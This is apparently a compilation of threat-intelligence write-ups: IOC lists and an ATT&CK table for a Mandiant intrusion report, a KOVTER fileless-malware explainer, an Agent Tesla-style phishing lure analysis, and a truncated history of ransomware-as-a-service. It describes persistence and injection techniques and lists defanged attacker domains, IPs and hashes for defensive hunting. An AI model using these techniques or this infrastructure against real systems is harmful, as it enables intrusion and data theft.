Providers/Managed Service Providers to gain access to downstream customers. Microsoft has previously reported on both UNC2652 and UNC3004 activity and links it to UNC2452, the group behind the SolarWinds compromise, under the name “Nobelium.” While it is plausible that they are the same group, currently, Mandiant does not have enough evidence to make this determination with high confidence. ## Outlook and Implications This intrusion activity reflects a well-resourced threat actor set operating with a high level of concern for operational security. The abuse of a third party, in this case a CSP, can facilitate access to a wide scope of potential victims through a single compromise. Though Mandiant cannot currently attribute this activity with higher confidence, the operational security associated with this intrusion and exploitation of a third party is consistent with the tactics employed by the actors behind the SolarWinds compromise and highlights the effectiveness of leveraging third parties and trusted vendor relationships to carry out nefarious operations. ## Acknowledgements Hundreds of consultants, analysts, and reverse engineers have been working together to understand and track these security incidents over the past year. This larger group has built a baseline of knowledge that enables us to continue tracking this actor. We would like to specifically thank Luis Rocha, Marius Fodoreanu, Mitchell Clarke, Manfred Erjak, Josh Madeley, Ashraf Abdalhalim, and Juraj Sucik from Mandiant Consulting and Wojciech Ledzion, Gabriella Roncone, Jonathan Leathery, and Ben Read from Mandiant Intelligence for their assistance in writing and reviewing this blog post. Also special thanks to the Microsoft DART and MSTIC teams for their ongoing collaboration. ## Remediation Mandiant recommends that organizations review and implement the changes suggested in the following Mandiant white paper which was recently updated to include advice around the Application Impersonation role and trust relationships with Cloud Service Providers and their customers. ## Technical Highlights to Aid Investigations or Hunting **Recent Staging Directories:** - %PROGRAMFILES%\Microsoft SQL Server\ms - %WINDIR%\Temp - %WINDIR%\Temp\d **Recent Staging Names:** - d.7z - vcredist.ps1 - fc.r - out - d.ps1 - d.z - megatools.exe - mt.exe - mtt.exe - ntds.dit - handle64.exe - movefile.exe - diagview.dll - diag.ps1 - diag.bat **Recent Scheduled Task Names:** - Microsoft Diagnostics - Microsoft Azure Diagnostics - Google Chrome Update **Recent Administrative or Utility Tools:** - Azure Run Command - Sysinternals Handle - Sysinternals MoveFile - ntdsutil - netstat - net - tasklist - RAR / 7zip - AADInternals - vSphere PowerCLI - Sysinternals Procdump - Windows Task Manager ## Indicators of Compromise **Hashes for Known Activity:** - diag.ps1 (MD5: 1d3e2742e922641b7063db8cafed6531) BEACON.SMB malware connecting to \\.\pipe\chrome.5687.8051.183894933787788877a1 - vcredist.ps1 (MD5: 273ce653c457c9220ce53d0dfd3c60f1) BEACON malware connecting via HTTPS to nordicmademedia[.]com - logo.png (MD5: 3304036ac3bbf6cb2205e30226c89a1a) Hosted on http://23.106.123[.]15/logo.png BEACON malware connected via HTTPS to stonecrestnews.com - LocalData.dll (MD5: 3633203d9a93fecfa9d4d9c06fc7fe36) CEELOADER malware that obtains a payload from http://theandersonco[.]com/wp_info.php - Unknown (MD5: e5aacf3103af27f9aaafa0a74b296d50) BEACON malware connecting via HTTPS to nordicmademedia[.]com - DiagView.dll (MD5: f3962456f7fc8d10644bf051ddb7c7ef) CEELOADER malware that obtains a payload from http://tomasubiera[.]com/wp_getcontent.php **IP Addresses Used for Authenticating Through Public VPN Providers:** - 20.52.144[.]179 - 20.52.156[.]76 - 20.52.47[.]99 - 51.140.220[.]157 - 51.104.51[.]92 - 176.67.86[.]130 - 176.67.86[.]52 **IP Addresses Used for Authenticating From the Mobile Proxy Providers:** - 216.155.158[.]133 - 63.75.244[.]119 - 63.162.179[.]166 - 63.162.179[.]94 - 63.75.245[.]144 - 63.75.245[.]239 - 63.75.247[.]114 **IP Addresses Used for Command and Control:** - 91.234.254[.]144 - 23.106.123[.]15 **URL Addresses Used for Command and Control:** - nordicmademedia[.]com - stonecrestnews[.]com **URL Addresses of Compromised WordPress Sites Hosting CEELOADER Payloads:** - tomasubiera[.]com - theandersonco[.]com ## MITRE ATT&CK Techniques Observed | ATT&CK Tactic Category | Techniques | |------------------------|------------| | Resource Development | Acquire Infrastructure (T1583) <br> Virtual Private Server (T1583.003) <br> Compromise Infrastructure (T1584) <br> Stage Capabilities (T1608) <br> Link Target (T1608.005) <br> Obtain Capabilities (T1588) <br> Digital Certificates (T1588.004) | | Initial Access | Phishing (T1566) <br> Spearphishing Attachment (T1566.001) <br> Spearphishing Link (T1566.002) <br> External Remote Services (T1133) <br> Valid Accounts (T1078) <br> Trusted Relationship (T1199) | | Execution | User Execution (T1204) <br> Malicious Link (T1204.001) <br> Malicious File (T1204.002) <br> Command and Scripting Interpreter (T1059) <br> PowerShell (T1059.001) <br> Windows Command Shell (T1059.003) <br> JavaScript (T1059.007) <br> Scheduled Task/Job (T1053) <br> Scheduled task (T1053.005) <br> Windows Management Instrumentation (T1047) | | Persistence | Boot or Logon Autostart Execution (T1547) <br> Registry Run Keys / Startup Folder (T1547.001) <br> Shortcut Modification (T1547.009) <br> Scheduled Task/Job (T1053) <br> Scheduled task (T1053.005) <br> External Remote Services (T1133) <br> Valid Accounts (T1078) | | Privilege Escalation | Process Injection (T1055) <br> Access Token Manipulation (T1134) <br> Token Impersonation/Theft (T1134.001) <br> Boot or Logon Autostart Execution (T1547) <br> Shortcut Modification (T1547.009) <br> Valid Accounts (T1078) <br> Scheduled Task (T1053) <br> Scheduled task (T1053.005) | | Defence Evasion | Process Injection (T1055) <br> Access Token manipulation (T1145) <br> Indicator Removal on Host (T1070) <br> Hide Artifacts (T1564) <br> Hidden window (T1564.003) <br> Clear Windows Event Logs (T1070.001) <br> File Deletion (T1070.004) <br> Timestomp (T1070.006) <br> Obfuscated Files or information (T1027) <br> Indicator Removal from Tools (T1027.005) <br> Virtualization/Sandbox Evasion (T1497) <br> System Checks (T1497.004) <br> Modify Registry (T1112) <br> Deobfuscate/Decode Files or Information (T1140) <br> Reflective Code Loading (T1620) <br> Valid Accounts (T1078) | | Credential Access | OS Credential Dumping (T1003) <br> NTDS (T1003.003) <br> Keylogging (T1003.001) | | Discovery | System Information Discovery (T1082) <br> File and Directory Discovery (T1083) <br> Account Discovery (T1087) <br> Local Account (T1087.001) <br> Domain Account (T1087.002) <br> System Network Configuration Discovery (T1016) <br> Virtualization/Sandbox Evasion (T1497) <br> System Checks (T1497.001) <br> System Owner/User Discovery (T1033) <br> System network Connections Discovery (T1049) <br> Network Service Scanning (T1046) <br> Process Discovery (T1057) <br> System Service Discovery (T1007) <br> Permission Groups Discovery (T1069) <br> Software Discovery (T1518) <br> Query Registry (T1012) | | Lateral Movement | Remote Services (T1021) <br> Remote Desktop Protocol (T1021.001) <br> SSH (T1021.004) | | Collection | Archive Collected Data (T1560) <br> Archive via Utility (T1560.001) <br> Data from Information Repositories (T1213) <br> Sharepoint (T1213.002) <br> Input Capture (T1056) <br> Keylogging (T1056.001) | | Command and Control | Web Service (T1102) <br> Application Layer Protocol (T1071) <br> Web Protocols (T1071.001) <br> DNS (T1071.004) <br> Encrypted Channel (T1573) <br> Asymmetric Cryptography (T1573.002) <br> Non-Application layer Protocol (T1095) <br> Non-Standard Port (T1571) <br> Ingress Tool Transfer (T1105) | | Exfiltration | Data Transfer Size Limits (T1030) | | Impact | Service Stop (T1489) | | Discovery | System Network Configuration Discovery (T1016) |
# KOVTER: An Evolving Malware Gone Fileless by John Sanchez (Trend Micro Threat Researcher) While a large number of malware come and go, rarely seen after their initial campaigns, some have remained strong through the years. A common feature of the most persistent malware is their ability to evolve: their initial infection methods, behaviors, and payloads rarely stay unchanged. KOVTER (detected by Trend Micro as KOVTER family) is one example of a constantly evolving malware. Initially starting out as a police ransomware, it eventually evolved into a much more effective and evasive fileless malware. Here is a closer look at KOVTER, as well as tips on how organizations can lessen its impact in case of infection. ## How has KOVTER evolved over the years? The malware known as KOVTER has gone through various changes during its lifespan. The earliest reports of the malware pegged it as a police ransomware, where it remained in a target system waiting for the right opportunity—usually when the user downloaded illegal files. Once triggered, it notifies the user of illegal activity along with a “fine,” which equates to its ransom demand. However, this early version was not too effective, as it required the correct set of conditions and could easily be detected and removed. The second, and perhaps most visible variant of KOVTER was that of a click fraud malware. This variant used code injection to infect its target, after which it stole information that it then sent to its Command & Control (C&C) servers. In 2015, KOVTER evolved again into a fileless malware, which it did via the installation of autorun registry entries. It evolved further in 2016, adding file components and registry entries that made use of a shell spawning technique to read the malicious registry entry. ## How does the current KOVTER variant work? One of the most common infection methods for KOVTER is via attachments coming from macro-based malicious spam. Once the malicious attachment—usually compromised Microsoft Office files—are clicked, the malware installs a shortcut file, batch file, and a random file with a random file extension in a randomly named folder usually located in %Application Data% or %AppDataLocal%. Registry entries based on the random file extension are also installed in Classes Root to direct the execution of the random file into reading a registry entry. These components are used to perform the malware's shell-spawning technique. For the next part, the registry entry for the random file is created, containing malicious scripts that perform KOVTER’s processes. This means that the moment the infected machine restarts or either the shortcut or batch files are triggered, the malicious script in the registry entry is loaded into memory. The malicious script contains a shell code that the malware injects into the PowerShell process. The shell code will then decrypt a registry entry located in the same registry key. This registry entry is a binary file that is injected into a spawned process (usually regsvr32.exe). The spawned regsvr32.exe would then try to connect various URLs as a part of its click fraud activity. Upon installation of all these file components and registry entries, the malware spawns a watchdog process that continuously monitors the existence of these components. ## How can organizations mitigate the impact of KOVTER? Given its almost fileless technique, KOVTER has become much more difficult to detect and mitigate. However, there are some things organizations can do to mitigate the malware’s impact. Here are some examples of effective mitigation techniques: - Due to its arrival via spam mail, the organization should look into implementing policies that protect against email threats. This includes setting up anti-spam filters that can block malicious emails before they can even reach the endpoint user. - One of the simplest and most effective ways to stop fileless malware is to apply security updates as soon as they are available. Organizations should ensure that their systems have the latest updates to prevent being infected by fileless malware—especially those that exploit vulnerabilities. - PowerShell is frequently abused by fileless malware, thus organizations should take necessary precautions to secure this component. This includes implementing steps on properly utilizing PowerShell in operational or cloud environments. Organizations can also list triggers for detection, which can be based on commands known to be used by malicious PowerShell scripts. Threat actors, for instance, often use the “^” symbol to obfuscate their command prompt parameters when invoking PowerShell. Organizations can also consider disabling PowerShell itself if necessary. - While fileless malware is more difficult to detect, organizations should still put in the effort to monitor and secure all their endpoints. Using firewalls and solutions that can monitor inbound and outbound network traffic can go a long way towards preventing fileless malware from infecting an organization. - Finally, organizations should implement multilayered security solutions such as Trend Micro™ Deep Discovery™, which provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle. In addition, Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuse vulnerabilities. OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed.
# Adults Only Malware Lures We found a wave of phishing documents containing a very interesting lure. We researched the tactics of this attack in more depth and discovered some unique TTPs including a Stage 2 Blogspot service marked as adult content requiring that you must be logged in as an authorized user with an account no less than a year old. ## Sample Analysis **File Type:** Microsoft Windows Document **SHA256:** cf6b49bf733306a6d7692ac2dc0cea7610c826d68db9a216942995513f17a247 Threat actors are constantly trying to improve their tools and come up with new methods to trick victims. In this case, for example, the threat actors are trying to scare the victim by claiming that the Microsoft Office application will soon stop working and an activation key is required. ### Images 1. A lure that forces the user to interact with the program. 2. Fake message stating that Microsoft Office is about to expire. 3. Embedded macros. In the image above, we find a shortened link from the bitly.com service leading to content that will download and run the document. In order to further analyze the payload of this sample, we need to get the content of this link. This short link leads to a blog which contains the HTML file. **Link:** hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/1.html Typically, threat actors will delete malicious data some time after sending targeted or phishing emails. In this case, we managed to get some HTML files. It is noteworthy that the page on the Blogspot service is marked as adult content. Notably, that must be an authorized user with an account not less than a year old. Our speculation is that this is done to counter analysis efforts. ### HTML File Analysis When analyzing the HTML file, we find a lot of interesting things. The first thing is that the script contained PowerShell commands to grab another payload. The second interesting thing is that the name of the final payload will be written to the registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\) and run every time the system boots up (Persistence). **Download Address:** hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_05220f8387b44631845060f312ebff49.txt To go deeper into the analysis, we need to get hold of this file: (92c492_05220f8387b44631845060f312ebff49.txt). The contents of this file will give us a clue as to where the endpoint of this attack is. ### Executable Analysis **File Type:** .NET executable file **MD5:** 741C4E71BCB9DE65342E862F9E51429B A closer look at the executable shows that this file is an espionage tool. Based on observation, this looks to be a modification of Agent Tesla. Below are sections of the code indicating malicious activity. 1. Collection of pressed keys from the keyboard. 2. The program also takes screenshots of the system. As an espionage tool, the executable gets access to email and clipboard contents. The malware also collects information about the victim's system such as the type of computer, the amount of memory, the name of the computer, and the version of the operating system. **Network Communication Address:** hxxp://103.125.190[.]248/j/p1a/mawa/d68fbb027e9c4963e967.php All the collected data that the malware has collected on the target system is sent to the specified address. ### IOCs **The first stage of infection:** - 017feb88fbf112e06787c743f2012da2d28ace584ce5fde965c3cbdddce4ed05 - 030a44b066e3daf75d6eef75d4315aeeddb124593660d293d96ffa89b1cc6c63 - 0bf39a89eec8176245f30ee683d71f0f0d3985ef94b78f2e9c27749c514fd698 - 1877dd29c3cd072b41a7cfebb85bbbebbfb63f537b11d7b9b82c5efa3b32ebef - 198ebd9d1ef28e2767ac1a608ccd3d2ed3be9922002f61ef2fc970a0341fba50 - 22da4275847d5be9f1d21df99c3f51be09d31be7942940732d311b030c62eeb0 - 23f07851c916f861be7a397d024a7c2f806999588f97b6ccda9b214317965286 - 33f4029423a3f52c376e6335e41d1ac4fccc9eff56aa29942cda968def3834c4 - 3b59cb18ca2e46f393c19b4259886fa89a93233e87c24ee2dea96bbb938d28c5 - 3ed7cb075765f5e5ab3d98021d4fdf3e81498709452af99a220f3f831fe46353 - 42d8df05d59782fe9fba1c8e5433c164d1437016e56079cf2e5120cc1d46179d - 4de053bfcf91ad8d8b909e81ba243541dbc7739b6f00bee3c25e83d35696a389 - 4fcca1bce2dd80a24a9def40ab28cc5197e8dd477c2ef77c4d47a19b73fa8bf1 - 59a95c64df0146fb56dd13b25582965034ca1d9687b1a878af06d0e628b60683 - 5b25082eee9cd6df0c9d0424af902d8a46bd692890dd964dba66ae48f76171a6 - 78514cf4b284da4352c3503acd6dba0508f1087271738fb8878ebc3742d79930 - 83faecbef924ffbcce0c8939e5b9b4c453699df1cbbebaf11bdb43e8fa42d63e - 932cfa5325b6969bbcfd0a9bd2d51eb10665b58485c945bc1a140e6695be8427 - 9cf9e57f3a26c97fd1bd740355e9ca76a77a5c6d49ba5076dcc0f3a968cf1d64 - a614bc0fa4f9056f290376a5ffdf10e2a86763ffd1a3482e9cb548797bb78fc9 - b0cc6501e23df4e64b03e18d94cd176afbb1fb3421398481a7d5bf5f59a0cb85 - b2ed341e7eb74c593f98f09c017670b802f103c6f3d7cc0579f431778e822d1b - b6cd4aff15fe7597d91ad7ac2e7cad43b32824359c10d093f108bbbf552633b5 - c20eb0028c20c1f9f55b7c6279f49c3a36c41582885ea645c9678cc6c4a6b05c - c2527b14f5296b52293feea97b087aa9951c297402b4bc463e9d174dd4cb52e6 - c8124da5454f07ece876c9f5824fa265e0f83a779367c7b902409f411fefaf7b - cf6b49bf733306a6d7692ac2dc0cea7610c826d68db9a216942995513f17a247 - d53af79b3996389ff73ab33578448fd5e6ee2698251451ed3df7c63ba025fd21 - d685747fcfcdf80f50b8611fa8f6d992a0d702330a117cb137d8cce80594e696 - d9c979942ca28669c1a38bb17b4f9f49da263babf123192d4af74b2a82893b05 - db1131b39b20b309373ec1ad6e159c2ae455e329c12676175652d1a7ac3fa48d - deef43f7490a5db9f8f9b688d8bc669ecc360d068e3b40e39de124f85068db2e - dfd4dfa39b59e0acb5d498131c3f131cef5aa73f187cf830a6dc924f75e0c843 - ed1fdfd6d55e50f520d5d9abedd452844c545e7f0a5f43191c57ddeaf9c3f426 - efd5fe28ac30904f4e75f53b07be50dc7d53c6b12f266c0717dbff7bf5fc63b9 - f76a6159bfa4a475f623a5969e9ed6f83dc9ba382a0a0e39332507fca8fc06b8 - ffb907f7b29d00efa2f5a2175352bc7d4bf4597ad5d0e51841c4b6a6e252a192 **Second stage of infection. Shortened URL links:** - hxxp://www.bitly[.]com/doaksodksueasddasweu - hxxp://www.bitly[.]com/doaksodksueasdweu - hxxp://www.bitly[.]com/doaksoodwdasdwmdaweu - hxxp://www.bitly[.]com/doaksoodwwdkkdwdasdwmdaweu - hxxp://www.bitly[.]com/doaksoodwwdkkdwokodwdasdwmdaweu - hxxp://www.bitly[.]com/doqpwdjasdkbasdqwo - hxxp://www.bitly[.]com/kddjkkdowkdowkdwwi - hxxp://www.bitly[.]com/kddjdkdkwokwdokii - hxxp://www.bitly[.]com/kddjdkwodkkasodkdwii - hxxp://www.bitly[.]com/kddjdkwodkwokdwodwwdkii - hxxp://www.bitly[.]com/kddjkdjdwwdokdwokefi - hxxp://www.bitly[.]com/kddjkdkdwokdwodwkokkwdi - hxxp://www.bitly[.]com/kddjkdkwodwkdfdwwdwwi - hxxp://www.bitly[.]com/kddjkdwodkwokdwokodki - hxxp://www.bitly[.]com/kddjkdwokddwodkwodki - hxxp://www.bitly[.]com/kddjkkdkdwodkwokdwi - hxxp://www.bitly[.]com/kddjkkdowkdowkdwwi - hxxp://www.bitly[.]com/kddjkodwkwdokdwi - hxxp://www.bitly[.]com/kddjkokdowkwddkwi **Real links to HTML files:** - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/2.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/1.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/9.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/13.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/21.html - hxxp://fucyoutoo.blogspot[.]com/p/spamoct.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/17.html - hxxps://ajsjwdijwidjwdidwj.blogspot[.]com/p/17.html - hxxps://ajsjwdijwidjwdidwj.blogspot[.]com/p/13.html - hxxps://ajsjwdijwidjwdidwj.blogspot[.]com/p/16.html - hxxps://ajsjwdijwidjwdidwj.blogspot[.]com/p/19.html - hxxps://ajsjwdijwidjwdidwj.blogspot[.]com/p/1.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/14.html - hxxps://ajsjwdijwidjwdidwj.blogspot[.]com/p/14.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/22.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/17.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/1.html - hxxps://ajsidjasidwxoxwkwjddududjf.blogspot[.]com/p/6.html **The third part of the download:** - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_05220f8387b44631845060f312ebff49.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_5b1dfb1d33874b51af513d9f38e8f3a9.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_69d42a6ec0d74e3f8752710c7ad14fd9.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_74714f123fd24f07b9b6e592dd9ec191.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_86d4dc912a7d4ea2ae5d2599c31c5d1f.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_8f22087a2c0740eba07c3aea05e107e7.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_959babd593ed4cd49dd3b6a0f1146d59.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_974d936d2f6d4e52831d05712c24a1c9.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_bee57138cfc8475194e34f85f92f14c1.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_cc1fcac9838f4550b3e22c725271c99d.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_f33d5ba08a264a2fa73caaaf1c1aa89.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_05220f8387b44631845060f312ebff49.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_5b1dfb1d33874b51af513d9f38e8f3a9.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_69d42a6ec0d74e3f8752710c7ad14fd9.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_74714f123fd24f07b9b6e592dd9ec191.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_86d4dc912a7d4ea2ae5d2599c31c5d1f.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_8f22087a2c0740eba07c3aea05e107e7.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_959babd593ed4cd49dd3b6a0f1146d59.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_974d936d2f6d4e52831d05712c24a1c9.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_bee57138cfc8475194e34f85f92f14c1.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_cc1fcac9838f4550b3e22c725271c99d.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_f33d5ba08a264a2fa73caaaf1c1aa89.txt - hxxps://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles[.]com/ugd/92c492_fca89e4173af436497e274a5e70b6145.txt **Powershell scripts:** - aa9bb1fcc6ed58b23d2f7ff9b905ebb38540a9badcfa217fae13e91e4a380649 - 50a18feb9f2b6e6950072cebde86a29e9548e3e5d4bf894939494481c652be91 **Network Communication:** - hxxp://103.125.190[.]248/j/p1a/mawa/d68fbb027e9c4963e967.php - hxxp://103.125.190[.]248/j/p1a/mawa/3a3a0c4b972bfe8a04fe.php - hxxp://103.125.190[.]248/j/p1a/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p2b/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p2b/mawa/f90bfec59b7e5c93c446.php - hxxp://103.125.190[.]248/j/p3c/mawa/7a1ab6b78f27608e9a62.php - hxxp://103.125.190[.]248/j/p3c/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p4d/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p4d/mawa/e9fcc6d73b5c01d83779.php - hxxp://103.125.190[.]248/j/p5e/mawa/7ff81f4867a4b87c317c.php - hxxp://103.125.190[.]248/j/p5e/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p6f/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p6f/mawa/ac2d3e49ed481ffff187.php - hxxp://103.125.190[.]248/j/p7g/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p7g/mawa/317dd0e0d501b3697287.php - hxxp://103.125.190[.]248/j/p8h/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p8h/mawa/a3956ee346a9827c90e4.php - hxxp://103.125.190[.]248/j/p9j/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p9j/mawa/bd45ee766370f1d74057.php - hxxp://103.125.190[.]248/j/p10k/mawa/8c1e2f54205f092ef04d.php - hxxp://103.125.190[.]248/j/p10k/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p20u/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p20u/mawa/69bb7ee91c7a92b6dfa1.php - hxxp://103.125.190[.]248/j/p11l/mawa/0b5eace2c983ebeba55b.php - hxxp://103.125.190[.]248/j/p11l/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p12m/mawa/30b1acecbda6c5d6ed4c.php - hxxp://103.125.190[.]248/j/p12m/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p13n/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p13n/mawa/b04042b22b2b6179257d.php - hxxp://103.125.190[.]248/j/p14o/mawa/4d380a5d91252d890dc4.php - hxxp://103.125.190[.]248/j/p14o/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p15p/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p15p/mawa/e483d6564638acbf4559.php - hxxp://103.125.190[.]248/j/p16q/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p16q/mawa/c0c369e81c5b7f138ed2.php - hxxp://103.125.190[.]248/j/p16q/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p17r/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p17r/mawa/e6a2101b1d3a47e18c7f.php - hxxp://103.125.190[.]248/j/p18s/mawa/34a663a7cfe2e19b6643.php - hxxp://103.125.190[.]248/j/p18s/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p19t/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p19t/mawa/48608c2b91739edc3959.php - hxxp://103.125.190[.]248/j/p20u/mawa/67a10f84d937d92cc069.php - hxxp://103.125.190[.]248/j/p20u/mawa/69bb7ee91c7a92b6dfa1.php **Tags:** in-the-wild, labs, threat-hunting
# Ransomware as a Service Innovation Curve As we enter 2022, the evolution of Ransomware-as-a-Service (RaaS) continues to be a driving force in the growth and permanence of financially motivated ransomware attacks. It is important to look back at the history of RaaS through a traditional economic/innovation framework. RaaS developers and affiliates have much more behavioral similarities to rational business operations than hardened criminals. Since RaaS operations traverse the same economic forces that legitimate businesses face as they mature, we can apply the Rogers Innovations Adoption Curve to think about where RaaS came from and where it may go next. ## RaaS Innovators (2016-2018) Innovators to the RaaS model focused on lowering barriers to entry (attracting new affiliates to carry out lots of attacks) and creating efficiencies in monetization (i.e., getting paid more often and with less friction). The early RaaS developers would give their ‘kit’ away to new affiliates for free, which greatly lowered the barriers to entry and made carrying out attacks more streamlined for affiliates. A key innovation was TOR sites, like the one used by Locky ransomware. In 2016, this was one of the first RaaS operations to employ an auto-generated ransom note that directed victims to a simple TOR webpage. The page had simple features, such as a test decryption portal and a “pay $300 in BTC here” button that provided a bitcoin wallet address. The page was also configured to release the decryptor once the ransom was paid to the correct wallet address. This automation allowed the RaaS developers to greatly scale their operations. Once they established an affiliate base of distributors, they could earn their proportion of ransom payments without needing to carry out attacks or perform manual tasks. This early version of RaaS was not without its issues. One major complication was the affiliates’ inability to assist with common decryption issues. Since affiliates only handled the attack and payment elements of the operation, they rarely had the technical know-how to assess why files weren’t decrypting or to determine what bug may be in the original malware that could be causing flaws in the encrypted file format. This also created a brand issue for the RaaS platform itself, as those with the poorest performances would eventually develop a bad reputation and lead a subset of victims to opt out of paying entirely. Another issue was dishonesty among new recruits (i.e., the RaaS operator not having quality gates on who they allowed to use their ransomware kits). As the barrier to entry into the ransomware market evaporated thanks to the ease and availability of RaaS, a new cohort of participants entered who did not care about the RaaS operations brand, let alone a victim’s unrecoverable files. ## RaaS Early Adopters (2018-2019) RaaS operators in the early adopter phase saw new applications and opportunities for innovation. The GandCrab RaaS platform was one of the key operations to explore how RaaS could begin to impact larger companies and leverage new attack vectors (like MSPs) in their operations. The personality of the GandCrab group was similar to the traditional definition of non-criminal technology innovators. Early adopters are typically younger, have a higher social status, more financial lucidity, advanced education, and are more socially forward than late adopters. This definition fits the personality of the original GandCrab operators, who were much more brash with their ego, vocalism, use of forums, and social media. Other innovations that GandCrab introduced include: - **Innovations in Extortion**: Centralization of negotiations at the developer level via TOR. This allowed many negotiations to be handled simultaneously by the same operator, enabling RaaS developers to enact quality standards and track their own best practices. - **Innovations in Encryption**: GandCrab developed an encryption scheme that allowed each unique box to have its own encryption/decryption key. This enhanced their own security and allowed them to splice and split which machines a victim needed to decrypt. It also allowed affiliates to innovate around more catastrophic distribution methods, such as attacking an MSP to encrypt all of the MSP’s downstream clients. However, producing all the unique keys was labor-intensive for the RaaS developers. The GandCrab group would fix this issue when they moved to Sodinokibi ransomware and rebranded as REvil. - **Innovations in ‘Customer Service’**: Unlike the pioneers of the RaaS model, GandCrab took pride in making the decryption process as painless as possible for the victim. They remained on standby to provide detailed troubleshooting assistance and explained that if a victim accidentally reinfected themselves within 30 days of the original attack, the decryptor would be provided again at no additional charge. ## RaaS Early Majority (2019-2020) Maze was the first major RaaS operation to demonstrate the efficiency and practical benefits of adding data theft as a requisite step in the extortion life cycle. Their tactics dismayed traditionalists as the stolen data had no actual value (i.e., it could not be monetized by other cyber criminals easily, like credit card numbers or stolen identities). Instead, Maze found value in the increased payment conversion rates they experienced on marginal attacks (that would have otherwise not paid any ransom but for the data theft aspect) when they mixed in the threat to damage the victim's reputation by leaking information stolen during the attack. This trend received support from security media outlets eager to drive traffic by acting as distribution publicists for the RaaS operations. Bloggers and journalists began eagerly squatting on these leak sites, hoping to amplify news of a new attack for their own benefit. This thrilled the community of RaaS operators, as they now had a publicity platform to back their threats. These early majority RaaS operators also experimented with DDoS attacks against victims that were slow to negotiate and enlisted the help of outsourced call centers to harass the employees or partners of victims that decided not to pay. ## Late Majority RaaS (2020 - Present) Following the unprecedented actions of the Russian FSB to arrest a large number of REvil operators, the risk profile of being a RaaS operator has shifted. The main takeaway from these arrests may be to cut a lower profile (i.e., don’t draw the ire of the US 